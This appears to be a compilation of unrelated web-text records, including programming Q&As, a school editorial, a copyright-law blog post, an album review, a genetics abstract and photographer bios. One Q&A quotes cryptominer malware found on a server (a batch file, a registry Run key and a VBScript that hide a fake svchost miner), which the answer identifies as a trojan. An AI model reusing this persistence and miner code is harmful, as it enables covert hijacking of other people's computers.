text:
Q: Is it possible to get the configured OAuth2 scopes of an invoked endpoint in a WSO2 custom handler? I have implemented a custom WSO2 handler to validate an externally generated JWT token that contains, among other things, the user scopes.
During the handler execution I want to add another check: get the scope/scopes associated to the currently executed endpoint and validate that the JWT token contains at least one of those scopes:
For instance:
JWT payload
user: xxx, scopes: ["write", "read"]

Endpoint config in WSO2 API Publisher
POST /customers  - scope: write

==> JWT.getScopes() -> should contain write.
How can I get the scope/scopes of the currently executed endpoint in the custom handler?
Handler
public class JwtAuthHandler extends AbstractHandler {

    @Override
    public boolean handleRequest(MessageContext messageContext) {

        //GET the scopes (write) of the currently invoked endpoint

redpajama_set_name: RedPajamaStackExchange


text:
Q: SVC Host consumming 99% CPU Our server is constantly consuming too much CPU, with svchost.exe seems to be the culprit.
See the screenshow below:

File contents of 1.bat:
svchost -a cryptonight -o stratum+tcp://xmr.prohash.net:7777 -u 4AyP2DqMQ---SomeLongCodeHere---ZFnqXUrf -p x

File contents of pubwin.reg:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Tomcat"="C:\\Windows\\system\\pubwin.vbs"

File content of pubwin.vbs:
dim objShell
set objShell=wscript.createObject("WScript.Shell")
WScript.Sleep(20000)
iReturnCode=objShell.Run("""C:\Windows\system\svchost.exe""  -a cryptonight -o stratum+tcp://xmr.prohash.net:7777 -u 4AyP2Dq----SomeLongCodeHere---zdLZGeEQqZTZeBLuSNnqXUrf -p x",vbhide)

Should we be worried, or is it really **Tomcat**.

A: It's a virus/trojan:
http://www.bleepingcomputer.com/forums/t/571980/trojanagentmnr-bitcoin-miner-running-fake-svchostexe-and-lsassexe/
https://forums.malwarebytes.org/index.php?/topic/125534-cant-remove-bitcoin-miner-and-svchostexe-virus/
https://www.google.co.uk/search?q=svchost.exe+cryptonight
https://www.google.co.uk/search?q=svchost.exe+bitcoin
Many variants of it, its basically a bitcoin mining daemon rebadged to look like part of the system.


We've all heard the iBlock complaints. 'I can't believe I got iBlock for this', 'this teacher gave 25 iBlocks today', or 'I have no time to go to iBlock today'. This new policy has been one of the most controversial and talked-about topics around the Marian halls this year. IBlock is a tough subject because the difference between complete and incomplete work is not always black and white.
However, iBlock does seem to be achieving its goal of motivating students to do all their homework each night. Despite how much iBlock is despised by most students, its strict reinforcement and common use show that iBlock is an important policy to teachers that is supported by most of them.
One issue of iBlock is the misuse of the punishment by some teachers. Oftentimes, when a student does not meet the requirements for an assignment, such as getting an 82 percent on conjuguemos instead of an 85 percent or writing a poorly constructed paragraph, an iBlock is given. In these instances, I believe punishment should come in the grade; the homework was not incomplete, but rather completed incorrectly.
Another issue is the mass amount of given iBlocks. Many times, iBlocks have been given to nearly an entire class of students. When that many people in one class made the same mistake, I don't think iBlock is an effective way to solve the problem. When this happens, there was often an error in communication or some kind of misunderstanding.
Another argument against iBlock is the fact that Marian is a college preparatory school. In college, students won't be called out by their professors for not doing their homework or given an iBlock; they will be given a zero. IBlock seems to be doing the opposite of preparing students for college.
The final complaint students often have of iBlock is that it is an inconvenience to have to stay after school for 30 minutes when many girls have activities they need to be at instead. What if a girl has iBlock on the day she needs to pick up her sister from school or on the day of a job interview? Sometimes people need to prioritize, and sometimes school is not the priority. What most students aren't aware of, however, is that if necessary, iBlock can be rescheduled. If you go to Mrs. Christen with a valid reason for not being able to go to iBlock and plead your case, you can reschedule your iBlock. If the student goes and talks to their teacher, sometimes they are understanding of the situation as well. It is better to try than to face the alternative; if you skip iBlock, you receive four points and still have to go the next day!
In the midst of all these complaints, I still believe that iBlock could become a good policy if some rules were changed. Students should be given two free passes before their first iBlock, because we are all humans and we all make mistakes. There should be more strict guidelines on what warrants an iBlock. Students should also be given a two day period in which they could take their iBlock. With these changes, iBlock could do a lot of good. And whether you love it or you hate it, iBlock is a policy that we will all have to follow, at least for the time being.


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With extensive experience in everything from indoor to outdoor events, at Panorama Studio we have the top of the line equipment and veteran expertise to document your specific occasion and tell the story you want told. Whether it is a groundbreaking ceremony, or a professional convention, you can trust our team to stay true to your vision and deliver the finished product you want.
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© Panorama Studio 2017 | All rights reserved.


"It's showing the human side of these models."
Celestine Many Bears has been called a "dumb Indian." She certainly is not, and in fact, is a grandmother, teacher, Blackfoot-language instructor, and all-star basketball player.
The Blackfoot Kainai woman is one of the models in a thought-provoking art project called "Perception: Lethbridge." The portrait series by artist K.C. Adams challenges certain perceptions of First Nations, Inuit or Metis members of the southern Alberta community.
In each photo set, models were asked to think of a racial slur they've been called. Then, they were asked how they label themselves.
"The great part of the project is it doesn't point fingers. It doesn't accuse people of racism. It's showing the human side of these models," Adams told the Lethbridge Herald.
Another model for the series is Alvin Small Legs. When he was a teen, he moved from the Blood Reserve to Lethbridge, where he said he has often been the target of racism.
"Every time I go around, people would say, 'Look, there's an Indian. There is another drug addict,'" Small Legs told Global News.
While Small Legs struggled with addiction when he was younger, he's now sober and is a proud husband and father. He told Global that he participated in the project because he wants people to see him how he sees himself.
Lethbridge is the second city Adams has brought her project to — she started in her hometown of Winnipeg in 2014. She hopes to bring it to other cities across Canada.
"I'd love to see this plastered all over Parliament Hill," she told the Winnipeg Free Press.


text:
Playground By the Sound 10th Birthday
Rock the Yacht
2018 Grants
Letter from the Chairman
DHS Technology Education Department – $7,000
The DHS Fuel Cell Team participates each spring in the Shell Eco-Marathon alongside other high schools as well as several engineering universities. The Team spends the year designing and building a lightweight, single seat, 3 wheel electric vehicle to compete for the most fuel efficient car at the competition. A new hydrogen fuel cell will help these future engineers achieve success.
Darien High School and Middlesex Middle School Technology Education — $70,000
Eight octogonal workstations with dedicated computers and 3D printers will allow students to work collaboratively as well as individually at the High School on a variety of engineering and architecture projects. In addition, Chromebook carts at both DHS and MMS will provide significantly increased access to computers for research and design.
Darien Public School Music Program — $63,000
SmartMusic Workstations provide in school access to the latest music technology for creating, improvising, composing, recording, producing and evaluating music. This grant provides funding for Apple computers, iPads, Wenger work stations and assorted accessories at each elementary school as well as Middlesex Middle School and Darien High School.
EMS POST 53 Special Operations Vehicle — $25,000
Post 53 is transforming a Ford E-350 bus into a Special Operations Vehicle that will serve the Darien community in several ways. The vehicle will be onsite at structure fires to provide shelter and assistance to our volunteer firefighters. It will also be available at various community events to serve as a first aid station. In addition, periodic blood pressure screenings and Hands Only CPR classes will be offered in the vehicle at several town locations. A $25,000 grant from The Darien Foundation will fund the transformation of this bus into a genuine, multi-purpose Special Operations Vehicle.
At Home in Darien — $50,000
The mission of At Home in Darien is to help senior citizens live independently, comfortably and with dignity in their own homes. Transportation is a vital necessity for seniors and is the most used service provided by At Home in Darien. The Foundation raised funds to purchase a new Chrysler 300 sedan for the rides program and also provided a grant for vehicle tracking devices allowing At Home in Darien to efficiently monitor vehicle locations and coordinate ride requests.
Darien Nature Center to Create Forest and Pond Exhibit with $50K Grant from Darien Foundation
Darien Foundation Issues Grant To Nature Center
Thanks to Darien Foundation grant: Darien TV79 installs new technology
Darien TV79 Using Better Cameras, Equipment After $25K Gift from Darien Foundation
© 2019 The Darien Foundation
Website by JB Design
Join our list:

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text:
Home / Access to online content / piracy / The Super Bowl Goes Digital, and Yonjo Quiroa Goes to Jail
The Super Bowl Goes Digital, and Yonjo Quiroa Goes to Jail
Tara Aaron Friday, February 03, 2012 - Access to online content, piracy
It's Super Bowl weekend in America! This Kat applauds AmeriKat for the great enthusiasm she showed for the championship game of American football last year. This guest Kat will likely find a comfy couch at a friend's house, where she will consume nachos, pizza and beer in quantities which she will deeply regret on Monday morning, while being amused by all the clever ads which will be occasionally interrupted by a football match between the New York Giants and the New England Patriots. Recent reports have suggested that Las Vegas bookies are sweating profusely at the thought of a Giants win - the team started the season at 80:1 odds to win it all, so some payouts could be huge. Add to that the fact that the Giants beat the Patriots earlier this season and the last time the two played in the Super Bowl 4 years ago, and there is some serious consternation in Sin City this weekend.
In a somewhat surprising and perhaps refreshing acknowledgement of the inevitable fact that consumers will, one way or another, get their entertainment online, NBC, the network which will broadcast the Super Bowl, is broadcasting it live over the internet for the first time. So one can only wonder how much nudging NBC did over at the U.S. Department of Homeland Security to set in motion the shutdown of 16 unauthorized sports event streaming websites and the arrest of the alleged operator of 9 of those sites which occurred yesterday.
Yonjo Quiroa, a/k/a "Ronaldo Solano" was arrested yesterday in New York for his alleged operation of nine websites, including www.sports95.net, www.sports95.com, www.sports95.me, www.sportswwe.tv, which allegedly operated as indexes and linking sites to other sites which hosted unauthorized copyrighted content belonging to the National Football League, National Basketball Association, National Hockey League, and World Wrestling Entertainment, and other professional sports organizations. Mr. Quiroa has been accused of violating the U.S. Copyright Act, 17 U.S.C. §506(a), which makes it a crime to commit copyright infringement "for purposes of commercial advantage or private financial gain," and 17 U.S.C. §506(b), under which it is criminal to commit copyright infringement "by the reproduction or distribution, including by electronic means, during any 180-day period, of 1 or more copies or phonorecords of 1 or more copyrighted works, which have a total retail value of more than $1,000."
The allegation under §506(a), that Quiroa committed infringement for purposes of commercial advantage or private financial gain, is supported by the alleged fact that Quiroa made $13,256.62 in the second half of last year from its Google Adsense account attributable to ads being posted on the various sites in question. (The complaint does not address whether any of Quiroa's sites attempted to seek safe harbor from liability under the Digital Millennium Copyright Act, in which case financial benefit by itself would not be enough to find Quiroa guilty if he could show that he had no actual knowledge of the infringement. (The statute that says this is at 17 U.S.C. §512(d)). Of course, given the fact that the sites in question allegedly operated a search index which allowed users to access unauthorized live streams of content currently in play, showing a lack of knowledge might be a challenge.
The allegation under § 506(b), that Quiroa committed infringement by the "reproduction or distribution of . . . copies or phonorecords" allows this guest Kat the perfect opportunity to bring IPKat readers into the fray of the question that this Kat's partner recently brought to her attention, and which has been dominating the conversation in this tiny office ever since. This Kat will now shamelessly use this chance to link you all to her partner's blog on the subject and will acquiescence to all the necessary disclaimers that that entails, but in sum, "copies" and "phonorecords" are both defined in the Copyright Act as "material objects," which computer files just might not be.
We will have to wait and see whether Quiroa's counsel raises the question that Rick Sanders did - is the sharing of an MP3 file really a "distribution of a phonorecord"? Is there a "material object" involved? Of course, the answer to this question may have broader implications than how long Mr. Quiroa is likely to spend in jail (either way, one wonders whether the $13,256.62 in six months was worth the year he may face for a § 506(a) violation). If online files do not implicate the exclusive rights of distribution and reproduction, then many of the strategies currently in play by the content industries to shut down online music and movie sites may be in jeopardy.
On a separate note, this Kat is still working through the issue of what statutory authority permits the U.S. government to seize these websites prior to a conviction for infringement. She is sure that such authority must exist, and will report promptly when she finds it. If any readers of IPKat out there might be able to explain, this guest Kat would be happy for the input.
The Super Bowl Goes Digital, and Yonjo Quiroa Goes to Jail Reviewed by Tara Aaron on Friday, February 03, 2012 Rating: 5
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text:
Continuances. Some common grounds:
Real Costs of a COURT MARTIAL Conviction and Discharge
Witness unavailable. Continuance requested.
See, e.g.United States v. Mow, 22 M.J. 906 (N.M.C.M.R. 1986); United States v. Maresca, 28 M.J. 328 (C.M.A. 1989).
Obtaining civilian counsel. a. Three tries you're out. United States v. Thomas, 22 M.J. 57 (C.M.A. 1986) (Military judge did not abuse discretion in refusing the accused a fourth continuance to permit attendance of civilian counsel where judge had gone to great lengths to accommodate accused's wishes and where civilian counsel failed to make even a written appearance.) b.Compare United States v. Wilson, 28 M.J. 1054 (N.M.C.M.R. 1989) (Judge abused discretion in denying civilian counsel'srequest for delay after he had made a personal appearance and could not try case earlier due to "existing professional obligations.")
Illness of counsel, judge, witness, member.
Order of trial of related cases.
Insufficient opportunity to prepare.
United States v. Galinato, 28 M.J. 1049 (N.M.C.M.R. 1989) (After military judge denied request for delay, defense counsel went "on strike" and refused to participate in case. Held: Accused denied assistance of counsel.)
Falsely Accused of Sexual Assault? What to Do If It Happens to You


text:
Taisnières-sur-Hon (, literally Taisnières on Hon) is a commune in the Nord department in northern France.

Heraldry

See also
 Battle of Malplaquet, which took place near the hamlet of Malplaquet, on the territory of the commune, in 1709
 Communes of the Nord department

References

Taisnieressurhon

redpajama_set_name: RedPajamaWikipedia


text:
Southern Maine IWW
INDUSTRIAL WORKERS OF THE WORLD: A Union for All Workers
A Quiz on You and the Arms Race
Charles Scontras' History of the IWW in Maine
Direct Action by Paul Bouget (1909)
Industrial Workers of the World – What Everyone Should Know
One Big Union
Preamble to the IWW Constitution
The ABC's of Revolutionary Unionism by F. N. Brill
The General Strike by Bill Haywood (1911)
The General Strike by Ralph Chaplin (1933)
The IWW and The Industrial Union Movement in America
The IWW Versus the KKK in Maine
The IWW: Its History, Structure, and Methods by Vincent St. John (1917)
The Kids' Annotated Preamble
The Role of the Dual Carder in the IWW by Joshua Freeze
Think It Over
Weakening the Dam
You Are the Union: Membership in the IWW
HomePosts tagged 'workers' cooperative'
workers' cooperative
Free Movie Night with Occupy Maine and the IWW on Friday, August 17
August 2, 2012 August 6, 2012 Southern Maine IWW Events	appropriation, Argentina, Avi Lewis, Carlos Menem, CBC, counterSpin, documentary, free movie night, industrial democracy, industrial workers of the world, iww, labor union, meg perry center, Movement of Recovered Factories, Naomi Klein, occupy maine, The Take, workers' cooperative, workers' rights
The Southern Maine Industrial Workers of the World and Occupy Maine will be partnering again on Friday, August 17, to put on a free public screening of "The Take." The movie will be shown at the Meg Perry Center at 644 Congress Street in Portland, beginning shortly after 7 PM, and there will be an optional discussion afterwards. Below are the film's trailer and a brief description of it, and a PDF file of the promotional flyer is here.
"In the wake of Argentina's dramatic economic collapse in 2001, Latin America's most prosperous middle class finds itself in a ghost town of abandoned factories and mass unemployment. The Forja auto plant lies dormant until its former employees take action. They're part of a daring new movement of workers who are occupying bankrupt businesses and creating jobs in the ruins of the failed system.
But Freddy, the president of the new worker's co-operative, and Lalo, the political powerhouse from the Movement of Recovered Companies, know that their success is far from secure. Like every workplace occupation, they have to run the gauntlet of courts, cops and politicians who can either give their project legal protection or violently evict them from the factory.
The story of the workers' struggle is set against the dramatic backdrop of a crucial presidential election in Argentina, in which the architect of the economic collapse, Carlos Menem, is the front-runner. His cronies, the former owners, are circling: if he wins, they'll take back the companies that the movement has worked so hard to revive.
Armed only with slingshots and an abiding faith in shop-floor democracy, the workers face off against the bosses, bankers and a whole system that sees their beloved factories as nothing more than scrap metal for sale."
Workers' Republic Screening a Success
July 14, 2012 July 14, 2012 Southern Maine IWW Events	andrew friend, labor union, meg perry center, occupy maine, portland, screening, southern maine iww, ue, workers republic, workers' cooperative, workplace organizing
Last night's IWW-Occupy-sponsored screening of "Workers' Republic" was well-attended, and we followed it up with a nice discussion of workplace organizing. For those who missed it, below is a full copy of the movie you can watch on-line, and you can read the latest development in the Republic workers' story here:
Here's a twelve-minute follow-up video:
SMIWW @ Facebook
Subscribe: E-Mail
Follow: RSS
IWW Links:
Links from within the OBU.
Industrial Workers of the World GHQ
General Defense Committee
Incarcerated Workers Organizing Committee
Gender Equity Committee
African People's Caucus
Environmental Unionism Caucus
International Solidarity Commission
Survey & Research Committee
Industrial Worker is the official magazine of the Industrial Workers of the World and is published quarterly by union labor.
Links from outside the OBU.
Southern Maine Workers Center
Portland CONFRONT
Maine John Brown Gun Club
Ready for (Direct) Action
Solidarity Fundraiser for No More Deaths
Anchor Brewing Unionizes – A Lesson for Maine Beer Workers
IWOC Endorses National Prison Strike and Pledges Support
Another Group of Burgerville Fast Food Workers Join IWW


text:
Q: Delayed jobs node.js web app I'm looking for a solution to set up delayed jobs in node.js web app.
My first idea was to use RabbitMQ - Dead Letter Exchanges and Per-Message Time-To-Live. By marking messages as persistent we can get a guarantee that a message won't be lost. A TTL can be specified on a per-message basis, so for each task an delay in milliseconds can be specified - this is also important, we can have any value as a message expiration property.
But there is a caution on RabbitMQ site:

expired messages can queue up behind non-expired ones until the latter are consumed or expired.

For example if there are messages in queue with following expirations fields: 30s 20s 10s, handlers for messages will be fired in the same order, not as expected 10s 20s 30s.
So I need another solution which is just works out of box.

A: I think agenda could be a solution.

A: I would recommend Kue. It is backed by redis, provides API and admin webapp.

A key feature of Kue is its clean user-interface for viewing and
  managing queued, active, failed, and completed jobs


Bee On Yellow Sunflower is a photograph by Miomir Magdevski which was uploaded on July 25th, 2016.
Photo bee on a yellow sunflower.
There are no comments for Bee On Yellow Sunflower. Click here to post the first comment.


Murine Gli, Gli2, and Gli3 are zinc finger genes related to Drosophila cubitus interuptus, a component of the hedgehog signal transduction pathway. In the embryonic lung, all three Gli genes are strongly expressed at the pseudoglandular stage, in distinct but overlapping domains of the mesoderm. Expression of Gli and Gli3, but not of Gli2, is subsequently downregulated at the canalicular stage, coincident with a decline in the expression of sonic hedgehog (Shh) and the hedgehog receptor gene, patched (Ptc). Overexpression of Shh in the lung results in increased levels of Ptc mRNA. Gli, but not Gli2, is also upregulated, suggesting a differential involvement of the Gli genes in the regulation of Ptc by SHH during lung development. Gli3 is not upregulated by Shh overexpression. However, its importance for lung development is shown by the finding that Gli3XtJ embryos, homozygous for a mutation involving a deletion of the Gli3 gene, have a stereotypic pattern of abnormalities in lung morphogenesis. The pulmonary defects in these embryos, consisting of localized shape changes and size reductions, correlate with normal Gli3 expression. Thus, our data indicate that one of the Gli genes, Gli3, is essential for normal lung development, and that another, Gli, can be placed downstream of Shh signaling in the lung.


I have been to a few places around the world, and Utah has so much diverse beauty, it never ceases to amaze me.
I am not a native to Utah, I lived in Scottsdale AZ for about 20 years before moving to Salt Lake City. I've lived in Idaho, my Birthplace, Germany, Arizona, England, and now I call Utah my home.
Having a background in Design, and Video picking up a DSLR came fairly naturally. Once I learned all I could about f-stops and lenses, I was off to all the more technical things! I really have always enjoyed shooting pictures of nature. Macro nature shots are still some of my favorite to shoot. I have really enjoyed taking my nature shooting to the next level.
Having moved 27 times by the time I was 14-years old, I really am not "from" any one place. Italy, Netherlands, California, Missouri, Idaho and Utah have all impacted me in my upbringing. Having lived all over, I can say that the variety of beauty found here in Utah sits only second in my heart to the country of my family's origins, Italy.
My wife is from Utah, so even with all our own moving around, we keep finding ourselves back in happy valley. Here we have a home and two kids. According to my wife, a dog is a discussion we can have in 2017.
I was was born in the hot summer of 1984 in the North East of Scotland and spent his early years living on the Westertown Farm, home to Mackies Ice Cream.
I was a kid who was never at home but out exploring the far reaches of the countryside with my friends.
After many years of college and working in the photography world, I spend my free time exploring the Scottish landscape, hills and coastal routes (often stopping at the local distillery) to explore what Scotland has to offer.
With frequent travels to the Faroe Islands where my Fiancée Iris is from. I spends my days in the Faroe's photographing the locals and their breathtaking landscape feeling like a kid in the countryside again.


I'm excited to share Carissa & Blake's wedding photos! It was a beautiful day, and they were a ton of fun to work with. The wedding ceremony was held at the historic Baker Memorial United Methodist Church in St. Charles, Illinois. An absolutely gorgeous location in the bride's home town. For wedding party photos and the reception, we headed to the St. Charles Country Club, and I have to say, I can't wait to return. The grounds are stunning for photography, and the staff / decor team (in particular Carla Keeney) are exceptionally good at what they do. Truly a fantastic wedding day. Congrats again to the couple!


Ingrid will share how to create the four elements of earth, air, water and fire through your hands. Experience the sensual and sumptuousness of shaping clay as you create a personal journey into the creative expression of self from the depths of your soul. This wonderful pliable gift from Mother Earth creates the opportunity for a meditative process in which one is on of self-discovery of the goddess within, not one in search of the creation of a beautiful art object.
African dance is worship with the body, moving from within our power centers, outward into the universe, with traditional African dance.


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text:
Vertigo / Universal
Reviewer Bryne Yancey
From: John Gentile
To: Bryne Yancey, Tori Pederson
Date: Tue, Jun 11, 2013 at 12:33 AM
Subject: Black Sabbath
Guys, everyone keeps talking about a new Black Sabbath album. I've searched high and low, trawled the internet and flipped through record bin after record bin, but I can't seem to find one. I mean, there's a new album with Ozzy Osbourne, Tony Iommi, Geezer Butler and Brad Wilk, but there's no new Black Sabbath album that I can find.
Frankly, it's hard to separate the internal squabbling in the Sabbath camp from 13 itself. While Sabbath have existed in no less than 26 incarnations, many without drummer Bill Ward, it's hard to view this version, which is more or less being billed as "The Original" and "The Greatest" version of Sabbath as anything less than a symptom of the greedy machinations of that gruesome pair of rumpelstiltskins, Ozzy and Sharon Osbourne. Following their attack on Iommi for the Sabbath trademark, despite the fact that Ozzy had not claimed it for over 20 years (much to my dismay, Iommi settled) and their extortion of Bill Ward, Ozzy and Sharon, in my mind, taint everything they touch including art. Art can often stand for itself despite this, but because of the pure greed and lack of respect for the contributions of others that emanates from their every action, that's not the case here.
Still, despite the (unfortunately successful) meddling of those avaricious hobgoblins, it's a testament to the power of Iommi and Butler that the new "Black Sabbath" album is actually really good.
Both Iommi and Butler pound out thick, heavy riffs that are as good as any other music they've made, and in some places, even better. Iommi twists and lumbers his sound while Butler provides a thick backdrop that makes the sound even more massive. Sabbath, rightfully so, have been credited with inventing doom metal. But if you really listen to the first eight Sabbath records, they really only adhere to the doom metal template–long songs built around slow, large riffage–about half the time. But in a matter of innovators imitating imitators, 13 is the archetypical doom metal album: Pounding, sludgy riffs played slow and with force. Even with that said, the Iommi/Butler combination still do it best.
To his credit, Ozzy turns in a remarkable performance, all things considered. The last two decades have reduced the prince of darkness into a drunken, incoherent buffoon and his solo albums haven't helped that perception much. Ozzy's solo records are rife with tales of ghostwriters penning the lyrics and frankly, it shows. Pretty much all of Ozzy's solo albums have laughable lyrics, particularly compared to the palpable dread which haunts his Sabbath material. But on 13, he's either energized by the band or hired better ghostwriters–Ozzy's lyrics are the best that they've been in over thirty years. He's finally shifted away from his use of overbearing directness and clichés, and has returned to his more metaphysical, amorphous ponderings. Likewise, his voice sounds the best it has in ages, and at times, reaches the ghostly wail heard on the classic first eight LPs.
You can't blame Wilk for trying his best. Who among you, when offered the chance, would not sit in for the mighty Sabbath? Wilk here serves as a hired studio gun and it shows. His performance is technically correct and competent, but you can tell he's doing his best to mimic Ward. Wilk is likely more accomplished a drummer in terms of sheer skill, but he can't quite replicate that heavy, thumping, purposefully sluggish rumble that Ward created and perfected, no doubt, from years of studying scratchy blues records. Wilk has the resume but Ward has the style, and you can't replicate style as easily. Still, Wilk does a capable job that doesn't ruin the album, though Ward's absence remains bittersweet… or maybe just slightly bitter.
Similarly, Rick Rubin's production works, but falls short of being magical. Rubin has always been a proponent of mega-production; But where that worked on the technical show that was Reign in Blood or the unflinching portrait that was the Johnny Cash American Recordings series, Sabbath thrive in darkness. Yet Rubin, who produces music these days in the manner that a part-timer assembles a Big Mac, shines bright lights on everything in the room. Where older Sabbath recordings thrived in a sludgy sound that made everything seem thicker and bleaker, the mega-production on 13 shows you exactly what the band is doing. With the curtain removed, a magician's tricks aren't quite as impressive. Also, Rubin seems to want to force the band to be not Black Sabbath, but what everyone thinks Sabbath are. If you really listen to the classic eight records, the band take a lot of daring, interesting detours. There are acoustic fiddlings, synth experiments, ballads about age and even love songs. Here, it seems the band just draw lyrics from side B of Black Sabbath and every song must either be a ghostly crept or smash-smash-smash.
But despite that there is nothing new here, this album does rock. Black Sabbath (along with Judas Priest) are the masters of metal for a reason and here they show why: Black Sabbath know massive riffs. Black Sabbath know haunting lyrics. Black Sabbath know darkness. Despite the birthing process of this album, Black Sabbath's product is a nearly unqualified success. Did I just call them "Black Sabbath?" The name fits. Sigh…
As you both can tell, I have lots of thoughts on this. What do you think?
From: Bryne Yancey
To: John Gentile, Tori Pederson
That was quite the manifesto.
I've been awfully surprised at the backlash Sabbath are getting by recording 13 without Bill Ward behind the kit. Ward is talented, no doubt, and the circumstances surrounding his lack of participation are dubious, but do that many people really care who's drumming, as long as Iommi's writing those monstrous riffs, Geezer's bass is thumping and Ozzy's vocals are as weirdly unique as ever? As you pointed out, John, Black Sabbath's lineup has shifted constantly over the years, sometimes embarrassingly so; if 13 isn't a Black Sabbath album, then neither is Mob Rules, which is a shame because Mob Rules kicks ass. As the progenitors of heavy metal, Sabbath's legacy is intact despite their turbulent history, and 13 is by far the closest thing to the original lineup us fans have received in 34 years, so maybe we should be happy with it nonetheless.
As for the music itself, based on how long this incarnation of the band have been away, it's far better than it has any right to be. Iommi's riffs are as sinister as ever. I agree that Ozzy's vocals are surprisingly strong–he's never been a conventionally or technically skilled singer, but the manner in which he's able to manufacture tension, uncertainty, fear and weirdness into his approach continues to be impressive. I'm especially impressed at how retro 13 feels, despite Rubin's loudness war apologist production. Sabbath didn't need to buck any trends here, because they are the original trendsetters, and thankfully they stick with what got them here.
And of course Wilk is emulating Ward on the drums, why wouldn't he? He does a nice job–I wouldn't say his time in Rage Against The Machine or Audioslave particularly informed or helped him perform in Black Sabbath, just because of how different the styles are. Those two bands don't have much soul, either, so it's not entirely unexpected that while Wilk's playing is technically sound, it's missing the intangibles that Ward had. If this doesn't blow over, we need to get Dave Grohl to drum on Sabbath's next record.
Bryne, it seems that you and I agree on the facts of the circumstances, but come from a different perspective. Usually, when the main members of Sabbath have left the band, it's because they felt like leaving. Even when Ozzy left in 1980, it wasn't so much that he was fired as he wanted to leave. But while Mob Rules was good, you'd have to admit that the fundamental, tribal stomp of Ward is the engine that drove the previous albums. Yet here, this seems to be the first instance of a member being muscled out of the band, plain and simple.
I have trouble separating the Gordon Gekko-like tactics of Ozzy and Sharon from the album. Had Ward been on the album, it would have been better, no question; it also would have been one of the few great reunion albums to ever exist–Sabbath doing classic Sabbath. Instead, we get a really good album tinged with a certain loss. Mob Rules was a Sabbath album, sure, but it came after Ward felt like leaving the band and only a year after the previous album. Contrast that to 13, and this isn't pitched as just another Sabbath album, but it is pitched as THE BLACK SABBATH.
That being said, as I stated above, Wilk does a good enough job. He just doesn't quite have the magic of Ward.
From: Tori Pederson
To: Bryne Yancey, John Gentile
Date: Thu, Jun 13, 2013 at 12:58 PM
The scrutiny given to Sabbath's drummer situation isn't surprising, but that doesn't make it any less ridiculous. Let's be honest, Brad Wilk kills it on this album (his fills in "Damaged Soul" are nothing short of dizzying). I was thrilled when I heard he would be recording the album with them instead of the competent, but boring Tommy Clufetos, whom they've been using for live dates. The only drummer I can think of who would be more suited to the job, who's mastered Ward's heavy hitting but is loose enough to lock into a groove style would be (and I'll probably catch hell from the commenters for this) the Red Hot Chili Peppers' Chad Smith.
I've been fortunate enough to see the Ozzy-fronted Black Sabbath twice, once with Ward, once with Faith No More's Mike Bordin. I can safely say there were no major differences between the performances. While Bill Ward is undeniably a legend and Sabbath's sound wouldn't, nay couldn't have become what it is without him, at this stage in the game he's the least essential piece of the puzzle. If anyone still wants to gripe about his absence, put the blame squarely on Sharon Osbourne. Let's not pretend Ozzy has any control over what she does.
Speaking of Ozzy, how great does he sound on this album? It might just be a coincidence that he turned in his finest vocal performance since No More Tears around the same time he started hitting the bottle again and headed back to rehab, but whatever he's doing, it's working. I couldn't help but have a huge smile on my face when I heard the "Alright, now!" scream in "Loner."
I agree with John that Rick Rubin seems to want to make the band into what people expect rather than what they truly are, and since they are often looked at as the originators of doom metal, it makes sense that he and the band would put two slow-burners at the front-end of this record. Still, while "End of the Beginning" and "God is Dead?" are perfectly fine songs on their own, (okay, "End of the Beginning" is an awesome song) it is a bit of a momentum killer. 13 as a whole could definitely stand for some resequencing.
Rubin is definitely more of a consultant than a knob-turner these days, so the sonic conditions of an album with his name on it vary depending on who's actually in the studio with the band, but he doesn't let bad songs through. Thankfully, Greg "Death Magnetic" Fidelman learned his lesson from the backlash against that album, and there's no clipping or cardboard drum sounds to be found here.
To: Tori Pederson, John Gentile
Date: Thu, Jun 13, 2013 at 1:39 PM
I will say that while Iommi's mammothly sludgy riff in "End of the Beginning" anchors that song, Wilk's percussion has a lot of nice flares to it that add a lot to the song–even if the song itself is basically a rewrite of "Black Sabbath." And when that bluesy riff kicks in? Holy shit, that rocks. As for your Chad Smith mention, Tori, I see what you're saying but come on, Chad Smith sucks.
I don't think we've mentioned Geezer Butler since the top, but those bass riffs in "God Is Dead?" and "Loner" are delightfully filthty. Sometimes I feel like Butler gets the short end of the stick because of Ozzy's persona and Iommi's virtuosity dominate the conversation more often than not, but without Geezer, Sabbath wouldn't have that low-end thud that makes their music so goddamn punishing. And thank Satan that Rubin and Fidelman's work doesn't drown him out. (Granted, Metallica haven't really let their bassists be heard since Cliff Burton died, so maybe that's not entirely their doing.)
The more I listen to 13, the more I think that while it's not a perfect record–or a perfect Black Sabbath record–it's the most perfect comeback the band could have made, outside of recording with Kurt Ballou or something. It's not as innovative as Black Sabbath or as sinister as Master of Reality–let's face it, they're too old for that–but it's almost...fun. Not an adjective one would normally associate with Sabbath.
Deafheaven: Sunbather
Slaughterhouse Chorus/Bridge Under Fire: split [7-inch]


Comments: Calcium-activated potassium channel (non voltage-dependent). Taken from santhakumar et al. (2005), model no. 51781, with no changes (identical mod file). Modeling study. Animal model is from model and ancestor for channels (santakumar et al. 2005), originally from aradi and holmes (1999), among others.


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Carry on with your preferred St Mawes solicitors but Accord Mortgages Ltd will need to use a conveyancer on their list of acceptable firms. This will inevitably rack up the overall legal charges as well as cause frustration.
Do commercial conveyancing searches disclose proposed roadworks that may impact a commercial site in St Mawes?
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Just bought a terraced house in St Mawes , What is the estimated time for the Land Registry to register my ownership? My St Mawes conveyancing solicitor works at snail pace, so I want to be sure the post completion formalities are concluded.
As far as conveyancing in St Mawes is concerned, registration is no quicker or slower than the rest of the country. Rather than based on location, timeframes can adjust depending on the party submitting the application, whether it is in order and if the Land registry have to notify any interested persons or bodies. At present roughly three quarters of submission are fully dealt with in less than three weeks but occasionally there can be protracted delays. Registration is effected once the buyer is living at the premises so registration formalities is not typically an essential issue but where there is a degree of urgency associated with the registration then you or your solicitor must communicate with the Registry to express the reasoning for an expedited registration.
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On 20 December, Newton park St mawes, Truro, Cornwall TR2 5BX, a detached sold for £600,000.


Sit down and relax, this is gonna be a long one.
After I spent pretty much ALL morning on the phone with different immigration/customs people, I threw my hands in the air singin' aaaaaa-yo and called it quits for the day. Moving to Canada has been by far the hardest thing I have ever done. Harder than college or fit tests or solving mathematical equations.
I rewarded myself with a trip to Safeway with Tyler's credit card. I didn't go crazy- mostly tons of produce. After I got home, I reheated some leftover tortellini for lunch.
